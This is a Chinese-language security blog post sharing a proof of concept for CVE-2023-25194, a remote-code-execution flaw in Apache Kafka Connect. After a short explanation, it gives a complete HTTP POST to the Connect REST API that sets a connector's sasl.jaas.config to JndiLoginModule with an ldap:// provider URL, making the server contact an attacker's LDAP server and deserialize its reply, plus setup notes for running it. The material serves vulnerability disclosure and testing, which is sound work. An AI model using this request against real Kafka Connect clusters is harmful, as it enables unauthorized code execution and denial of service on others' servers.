【CVE-2023-25194】Kafka连接RCE通过连接器SASL JAAS JndiLoginModule配置
作者:Sec-Labs | 发布时间:
HackerOne报告
https://hackerone.com/reports/1529790

项目地址
https://github.com/ohnonoyesyes/CVE-2023-25194
漏洞介绍
攻击者可能通过使用 Kafka Connect 的 SASL JAAS JndiLoginModule 配置进行 RCE/拒绝服务攻击。
此漏洞允许服务器连接到攻击者的 LDAP 服务器并反序列化 LDAP 响应,攻击者可以使用它在 Kafka 连接服务器上执行 java 反序列化链。当类路径中有POC依赖链时,攻击者可以造成不可信数据的无限制反序列化/RCE 漏洞。
此漏洞利用的前提是:需要访问 Kafka Connect worker,并能够使用任意 Kafka 客户端 SASL JAAS 配置和基于 SASL 的安全协议在其上创建/修改连接器。
自 Apache Kafka 2.3.0 以来,这在 Kafka Connect 集群上是可能的。
通过 Kafka Connect REST API 配置连接器时,经过身份验证的操作员可以将连接器的任何 Kafka 客户端的 sasl.jaas.config属性设置为"com.sun.security.auth.module.JndiLoginModule",它可以是通过"producer.override.sasl.jaas.config"、"consumer.override.sasl.jaas.config"或"admin.override.sasl.jaas.config"属性完成。
POC
POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109
{"name": "test",
"config":
{
"connector.class":"io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "xxxxx",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxxxx",
"database.dbname": "xxxx",
"database.sslmode": "SSL_MODE",
"database.server.id": "1234",
"database.server.name": "localhost",
"table.include.list": "MYSQL_TABLES",
"tasks.max":"1",
"topic.prefix": "aaa22",
"debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
"schema.history.internal.kafka.topic": "aaa22",
"schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
"database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}
注意事项
- 通过复制它们到kafka的libs目录来导入libs。
- Kafka Connect必须正在运行。(./bin/connect-distributed.sh config/connect-distributed.properties)
- mysql信息必须正确,并确保Kafka connect可以连接数据库。
标签:工具分享, 实战分享, 漏洞分享, POC脚本